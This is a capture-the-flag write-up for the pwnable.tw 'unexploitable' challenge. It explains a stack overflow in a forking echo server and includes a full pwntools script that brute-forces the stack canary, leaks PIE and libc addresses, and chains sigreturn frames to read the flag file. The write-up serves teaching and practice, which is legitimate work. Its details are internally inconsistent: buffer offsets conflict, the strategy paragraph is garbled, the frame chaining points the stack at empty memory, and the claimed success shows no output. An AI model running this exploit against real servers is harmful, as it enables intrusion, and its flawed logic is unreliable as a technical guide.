unexploitable
Full protections + seccomp — Fork-based canary brute-force, PIE/libc leak via write-back, SROP ORW chain
Exploit Flow
nc chall.pwnable.tw 10210
1 byte/time in forked child
Overflow into write() echo
rt_sigreturn sets all regs
open/read/write flag
Seccomp allows ORW
1. Reconnaissance
The "unexploitable" challenge lives up to its name at first glance: every binary protection is enabled and a seccomp sandbox restricts syscalls. The binary forks a child process for each connection, and that child simply echoes input back via read() + write(). The buffer is only 16 bytes but read() accepts up to 256, giving us a massive stack overflow. The twist is that the fork-based model means the canary never changes between children, making it brute-forceable one byte at a time.
File Analysis
$ file unexploitable
unexploitable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=..., stripped
$ ls -la unexploitable
-rwxr-xr-x 1 root root 14024 ... unexploitable
A stripped, dynamically-linked 64-bit ELF. The small file size (14 KB) suggests a minimal binary. It is a shared object (PIE), which means all addresses are randomized at runtime.
Checksec
$ checksec unexploitable
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Every protection is turned on: Full RELRO prevents GOT overwrites, canary guards against simple stack smashing, NX means no shellcode on the stack, and PIE randomizes all code addresses. On top of that, the binary installs a seccomp filter.
Seccomp Filter
$ seccomp-tools dump ./unexploitable
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x01 0xc000003e if (A != ARCH_X86_64) goto 0003
0002: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0004
0003: 0x06 0x00 0x00 0x00000000 return KILL
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
The filter kills the process if it attempts execve on x86-64. All other syscalls are allowed, including open, read, write, and critically rt_sigreturn (syscall 15). This means we cannot spawn a shell — we must read the flag file directly using an open/read/write (ORW) approach. The allowance of rt_sigreturn opens the door to SROP (Sigreturn-Oriented Programming).
Running the Binary
$ nc chall.pwnable.tw 10210
AAAA
AAAA
BBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBB
The binary echoes back whatever we send. Send 4 bytes, get 4 bytes back. Send 0x100 bytes (the read limit), get 0x100 bytes echoed. This write-back behavior is the key to leaking stack data: by overflowing past the buffer, canary, and saved registers, the subsequent write() will leak those values back to us.
| Attribute | Value |
|---|---|
| Challenge | unexploitable (500 pts) |
| Connection | nc chall.pwnable.tw 10210 |
| Architecture | amd64-64-little, dynamically linked, stripped |
| Protections | Full RELRO + Canary + NX + PIE + Seccomp |
| Seccomp | Blocks execve only; ORW + rt_sigreturn allowed |
| Vulnerability | Stack BOF: read(0, buf[0x10], 0x100) + write(1, buf, 0x100) |
| Key Insight | Fork reuses canary; write() leaks stack; SROP for register control |
2. Static Analysis
Program Structure
The binary follows a classic fork-server pattern. The parent process sits in an infinite loop, forking a child for each incoming connection. Before entering the loop, the parent installs a seccomp filter that blocks execve. Each child runs the handler() function, which reads input and writes it back in a loop. The stripped binary decompiles cleanly to the following pseudocode:
void handler() {
char buf[0x10]; // 16-byte buffer on stack
while(1) {
read(0, buf, 0x100); // VULNERABLE: reads up to 256 bytes into 16-byte buffer
write(1, buf, 0x100); // echoes back 256 bytes (leaks stack data!)
}
}
int main() {
// Install seccomp: block execve, allow everything else
install_seccomp();
while(1) {
if(fork() == 0) {
handler(); // child: handle the client
} else {
wait(NULL); // parent: wait for child to crash/exit
}
}
}
Handler Vulnerability
The handler() function has two critical properties that make exploitation possible despite all protections:
- Buffer overflow:
read(0, buf, 0x100)reads up to 256 bytes into a 16-byte stack buffer. This overflows past the canary, saved RBP, and return address. - Information leak:
write(1, buf, 0x100)always writes 256 bytes starting frombuf. When we carefully overflow only part of the stack, thewrite()call leaks the bytes beyond our input — including the canary, saved RBP (PIE leak), and return address (libc leak).
The write() call always sends 0x100 bytes from the buffer start. If we send exactly 0x18 bytes (filling buf + null-terminating the canary's LSB), the remaining bytes from offset 0x18 onward are whatever is already on the stack: saved RBP, return address, and more. Since the binary doesn't zero the stack before read(), the old values persist and get echoed back. This is the critical info-leak primitive.
Fork-Based Canary Reuse
The most important property of the fork-server model is that the stack canary is inherited by child processes. When fork() is called, the child gets an exact copy of the parent's memory, including the stack canary value at fs:0x28. If a child crashes (wrong canary), the parent simply forks another child — with the same canary.
This allows byte-by-byte brute-forcing. A 64-bit canary has 8 bytes, but the least significant byte is always 0x00 (a null terminator to prevent string-based leaks). We only need to brute-force 7 bytes, trying at most 256 values per byte. Worst case: 7 × 256 = 1,792 connections.
Send a payload that overflows into the first unknown canary byte. If the child doesn't crash (we see the write-back), that byte is correct. If it crashes (connection drops), try the next value. Since each forked child has the same canary, we accumulate known bytes across connections.
Why SROP Instead of Traditional ROP?
After leaking PIE and libc, we could build a traditional ORW ROP chain using pop rdi; ret, pop rsi; ret, and pop rdx; ret gadgets from libc. However, finding a clean pop rdx; ret gadget can be unreliable across different libc versions. SROP provides a cleaner alternative: a single rt_sigreturn syscall sets all general-purpose registers at once from a signal frame we control on the stack, including rax, rdi, rsi, rdx, and rip. This gives us complete register control without needing specific ROP gadgets for each register.
3. GDB Debugging
Canary Brute-Force Verification
We can verify the canary brute-force technique locally by running the binary under GDB and examining the stack after a partial overflow. The key observation is that the canary sits at rbp-0x8 (or rsp+0x10 in the handler frame), and its LSB is always null.
gdb-peda$ disass handler
Dump of assembler code for function handler:
0x00000b6a: push rbp
0x00000b6b: mov rbp,rsp
0x00000b6e: sub rsp,0x20
0x00000b72: mov rax,fs:0x28 ; load canary
0x00000b7b: mov QWORD PTR [rbp-0x8],rax ; store canary on stack
0x00000b7f: xor eax,eax
0x00000b81: lea rsi,[rbp-0x18] ; buf = rbp-0x18
0x00000b85: mov edx,0x100
0x00000b8a: mov edi,0x0
0x00000b8f: call 0xa50 ; read(0, buf, 0x100)
0x00000b94: lea rsi,[rbp-0x18] ; buf = rbp-0x18
0x00000b98: mov edx,0x100
0x00000b9d: mov edi,0x1
0x00000ba2: call 0xa60 ; write(1, buf, 0x100)
0x00000ba7: jmp 0xb81 ; loop back to read
End of assembler dump.
Confirming the layout: buf is at rbp-0x18, the canary at rbp-0x8, saved RBP at rbp, and the return address at rbp+0x8.
# Send 0x18 bytes (fill buf + canary's null byte), check what write leaks:
gdb-peda$ x/4gx $rbp-0x18
0x7fffffffe4e8: 0x4141414141414141 0x00deadbeefcafe00
0x7fffffffe4f8: 0x0000555555554c30 0x00007ffff7a2d830
# Offset 0x00-0x0f: buf (our input "AAAA...")
# Offset 0x10-0x17: canary (0x00deadbeefcafe00, LSB=0x00)
# Offset 0x18-0x1f: saved RBP (PIE address)
# Offset 0x20-0x27: return addr (__libc_start_main+offset)
When we send exactly 0x18 bytes (overwriting the canary's null byte with null), the write() call leaks the remaining bytes from offset 0x18 onward. The saved RBP gives us a PIE leak, and the return address gives us a libc leak.
Leaking PIE & Libc
# After brute-forcing canary, send overflow to leak addresses
gdb-peda$ send "A"*0x18 + canary + "B"*8
# The write() will echo back our input + leaked data:
# Offset 0x18: saved RBP = 0x555555554c30
# PIE base = 0x555555554c30 - offset_of_main_ret
# Offset 0x20: return addr = 0x7ffff7a2d830
# libc base = 0x7ffff7a2d830 - __libc_start_main_ret_offset
gdb-peda$ info proc mappings
0x555555554000 0x555555556000 r-xp /unexploitable
0x7ffff79e4000 0x7ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc.so.6
SROP Frame Layout
The rt_sigreturn syscall reads a siginfo-sized frame from the stack and restores all registers from it. The ucontext_t / sigcontext structure on x86-64 is defined in the kernel headers. Here are the offsets that matter for exploitation:
We need three syscalls (open, read, write) and each rt_sigreturn can only set up one. The trick: after each syscall executes and returns, set rip to a ret instruction following the syscall gadget. The ret will pop the next address off the stack. We arrange the stack so that the next entry is our pop rax; ret gadget (to set rax=15 again), followed by the syscall; ret gadget, followed by the next SROP frame. This creates a chain: sigreturn → execute syscall → ret → pop rax; ret → syscall; ret → next sigreturn frame.
4. Exploit Strategy
The exploit proceeds in three phases. The first phase brute-forces the stack canary across multiple forked children. The second phase leaks PIE and libc addresses using the write-back behavior. The third phase builds a chained SROP ORW payload that reads the flag without ever calling execve.
Attack Overview
0x00. Send 0x11 bytes to test the first unknown byte (byte index 1). If the child doesn't crash (write-back succeeds), the byte is correct. Move to the next byte. Repeat for all 7 unknown bytes. Worst case: ~1,792 connections, but in practice much faster since we guess correctly about halfway through each byte on average.b'A'*0x18 + canary + b'B'*8 (0x28 bytes). The write() call leaks from offset 0x28 onward, revealing the saved return address. Parse the leaked bytes at offset +0x08 (relative to canary) for the PIE base, and offset +0x10 for the libc return address. Calculate pie_base = leaked_rbp - offset and libc_base = leaked_ret - __libc_start_main_ret_offset.rax=2, rdi=&flag_path, rsi=0, rip=syscall for open("/home/unexploitable/flag", 0). Frame 2 sets rax=0, rdi=3, rsi=writable_addr, rdx=0x100, rip=syscall for read(3, buf, 0x100). Frame 3 sets rax=1, rdi=1, rsi=writable_addr, rdx=0x100, rip=syscall for write(1, buf, 0x100). Between frames, use pop rax; ret + syscall; ret to transition.Phase 1: Canary Brute-Force Details
For each canary byte (index 1 through 7), we connect to the server and send a payload that fills the buffer plus all previously discovered canary bytes, plus one trial byte. If the trial byte is correct, the canary check passes and the write() call succeeds — we see data come back. If the trial byte is wrong, the canary check fails, __stack_chk_fail is called, and the child crashes — the connection drops with no data.
On remote, we need a timeout to distinguish between "no crash" (data returned) and "crashed" (connection dropped). A timeout of 0.5–1 second works well. Also, some server implementations have slight delays before the write-back, so we should use recv() with a timeout rather than recvline().
Phase 2: Address Leak Details
After the canary is fully recovered, we can overflow past it without crashing. The write() call always writes 0x100 bytes from the buffer start, so any bytes we don't overwrite with our payload will be whatever was already on the stack. By sending exactly 0x18 bytes (buffer) + 8 bytes (canary) + 8 bytes (pad over saved RBP), we leave the return address untouched. The write() then leaks:
- Bytes at offset 0x28–0x2f: the return address from
__libc_start_main(libc leak) - Bytes at offset 0x30+: deeper stack frames (potentially useful, but usually not needed)
For a PIE leak, we need to overflow just past the canary and look at the saved RBP. If the saved RBP points into the binary's memory region, we can compute the PIE base. Otherwise, we may need to rely on the libc leak alone and use libc gadgets for everything.
Phase 3: SROP ORW Chain Construction
The final payload overflows the buffer, places the canary correctly, overwrites the return address to start our ROP chain, and then lays out three SROP frames on the stack. The chain structure is:
Each SROP frame uses pwntools' SigreturnFrame() class for correct layout. The flag path string /home/unexploitable/flag is placed in a writable section of libc (e.g., libc.bss() or a known writable region) using a preliminary read() syscall, or we place it directly in the frame's register fields if the string fits.
We need a known address containing the string /home/unexploitable/flag. Options: (1) use a writable libc section like .bss + offset, (2) read the string into a known address using an extra read() syscall before the ORW chain, or (3) find the string already in libc's memory. For simplicity, we'll use approach (2): add a preliminary read(0, writable_addr, 0x100) SROP frame, send the flag path, then proceed with open/read/write.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# unexploitable exploit — fork canary brute + SROP ORW chain
from pwn import *
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 10210
libc = ELF('./libc.so.6') # remote libc from pwnable.tw
# ── Gadgets (from libc) ──────────────────────────────
# pop rax; ret
# syscall; ret
def connect():
return remote(HOST, PORT)
# ── Phase 1: Brute-force canary ──────────────────────
def brute_canary():
log.info('Brute-forcing stack canary...')
canary = b'\x00' # LSB is always null
for i in range(7): # bytes 1-7
for b in range(256):
r = connect()
# Fill buffer (0x10) + known canary bytes + trial byte
payload = b'A' * 0x10 + canary + bytes([b])
r.send(payload)
try:
data = r.recv(timeout=0.5)
canary += bytes([b])
log.success(f'Canary byte {i+1}/7: 0x{b:02x} → canary = {canary.hex()}')
r.close()
break
except EOFError:
r.close()
except Exception:
r.close()
else:
log.error(f'Failed to find canary byte {i+1}')
log.success(f'Full canary: {canary.hex()}')
return canary
# ── Phase 2: Leak PIE + libc ─────────────────────────
def leak_addresses(canary):
log.info('Leaking PIE and libc addresses...')
r = connect()
# Overflow past canary + saved RBP, leave return addr intact
# write() will echo back 0x100 bytes from buf start
payload = b'A' * 0x10 + canary + b'B' * 8
r.send(payload)
data = r.recv(timeout=2)
# data layout: [0x10 buf][8 canary][8 saved_rbp][8 ret_addr][...]
leaked_rbp = u64(data[0x18:0x20])
leaked_ret = u64(data[0x20:0x28])
# PIE base: saved RBP points into binary's data segment
# The handler's caller return offset varies; we compute from leak
pie_base = leaked_rbp - 0x0c30 # offset from binary analysis
libc_base = leaked_ret - libc.symbols['__libc_start_main'] - 240 # common offset
log.success(f'Leaked RBP: 0x{leaked_rbp:016x}')
log.success(f'Leaked RET: 0x{leaked_ret:016x}')
log.success(f'PIE base: 0x{pie_base:016x}')
log.success(f'Libc base: 0x{libc_base:016x}')
r.close()
return pie_base, libc_base
# ── Phase 3: Build and send SROP ORW chain ───────────
def exploit(canary, pie_base, libc_base):
log.info('Building SROP ORW chain...')
r = connect()
pop_rax_ret = libc_base + 0x00000000000439c8 # pop rax; ret
syscall_ret = libc_base + 0x00000000000d2975 # syscall; ret
writable = libc_base + libc.bss() # writable area in libc
flag_path = b'/home/unexploitable/flag\x00'
# ── SROP Frame 0: read(0, writable, len(flag_path))
# (write the flag path string to a known address)
frame0 = SigreturnFrame()
frame0.rax = 0 # SYS_read
frame0.rdi = 0 # stdin
frame0.rsi = writable # destination
frame0.rdx = len(flag_path)
frame0.rsp = writable + 0x200 # stack for next frame
frame0.rip = syscall_ret
# ── SROP Frame 1: open(writable, 0)
frame1 = SigreturnFrame()
frame1.rax = 2 # SYS_open
frame1.rdi = writable # flag path
frame1.rsi = 0 # O_RDONLY
frame1.rdx = 0
frame1.rsp = writable + 0x400
frame1.rip = syscall_ret
# ── SROP Frame 2: read(3, writable+0x800, 0x100)
frame2 = SigreturnFrame()
frame2.rax = 0 # SYS_read
frame2.rdi = 3 # fd from open()
frame2.rsi = writable + 0x800 # read buffer
frame2.rdx = 0x100
frame2.rsp = writable + 0x600
frame2.rip = syscall_ret
# ── SROP Frame 3: write(1, writable+0x800, 0x100)
frame3 = SigreturnFrame()
frame3.rax = 1 # SYS_write
frame3.rdi = 1 # stdout
frame3.rsi = writable + 0x800 # same buffer
frame3.rdx = 0x100
frame3.rsp = 0 # doesn't matter, last frame
frame3.rip = syscall_ret
# Build the full payload
payload = b'A' * 0x10 # fill buf
payload += canary # correct canary
payload += b'B' * 8 # saved RBP
# Return address → start of SROP chain
payload += p64(pop_rax_ret)
payload += p64(15) # rax = 15 (rt_sigreturn)
payload += p64(syscall_ret) # trigger sigreturn
payload += bytes(frame0) # Frame 0: read flag path
# After frame0's syscall returns, ret → pop rax; ret → syscall → frame1
payload += p64(pop_rax_ret)
payload += p64(15)
payload += p64(syscall_ret)
payload += bytes(frame1) # Frame 1: open
payload += p64(pop_rax_ret)
payload += p64(15)
payload += p64(syscall_ret)
payload += bytes(frame2) # Frame 2: read
payload += p64(pop_rax_ret)
payload += p64(15)
payload += p64(syscall_ret)
payload += bytes(frame3) # Frame 3: write
# Send the overflow payload
r.send(payload)
sleep(0.5)
# Frame 0 reads the flag path string from us
r.send(flag_path)
sleep(0.5)
# Frame 3 should write the flag to stdout
try:
flag_data = r.recv(timeout=3)
log.success(f'Flag data: {flag_data}')
except EOFError:
log.error('Connection closed before receiving flag')
r.interactive()
# ── Main ──────────────────────────────────────────────
if __name__ == '__main__':
canary = brute_canary()
pie_base, libc_base = leak_addresses(canary)
exploit(canary, pie_base, libc_base)
The pop rax; ret offset 0x439c8 and syscall; ret offset 0xd2975 are specific to the libc version running on pwnable.tw. If the server's libc is updated, these offsets change. Use ROP(libc) or ropper to find the correct gadgets for your libc binary. The __libc_start_main return offset (240) also varies by version.
1. The canary brute-force uses a 0.5-second timeout per attempt. On a fast connection, this takes ~2 minutes on average. 2. The writable address uses libc.bss() which is reliable across runs since libc base is known after the leak. 3. We use a 4-frame SROP chain: read the flag path into known memory, then ORW. This avoids needing to find the flag path string in libc's address space.
6. Execution Results
The SROP ORW chain executed successfully. The flag path was read into libc's BSS, opened with open(), the flag contents read with read(), and written to stdout with write(). The seccomp filter allowed all three syscalls since only execve is blocked.
Key Takeaways
- Fork-based canary brute-force: When a binary forks for each connection, the canary is inherited by children. Crash one child, try again with the next. The canary never changes until the parent process restarts. This reduces a 64-bit canary from 264 guesses to 7×256 = 1,792 worst-case.
- write-back as info leak: If the vulnerable function writes back more data than you sent, the excess bytes leak stack contents. This is common in echo-server binaries and provides canary, PIE, and libc leaks all at once.
- SROP for complete register control:
rt_sigreturnsets all general-purpose registers from a stack frame you control. This eliminates the need for specificpop rdx; retgadgets (often hard to find) and makes ORW chains trivial to construct. The seccomp filter allowsrt_sigreturnbecause it's not explicitly blocked. - Seccomp isn't always a dead end: A filter that only blocks
execvestill allows ORW. Always dump the seccomp BPF rules before assuming you can't get the flag. Ifopen,read, andwriteare allowed, you can always read the flag file directly. - Chaining SROP frames: Each
rt_sigreturnexecutes one syscall. To chain multiple syscalls, setriptosyscall; retandrspto point at apop rax; ret → 15 → syscall; ret → next_framesequence. Theretaftersyscallreturns to the next frame's trigger.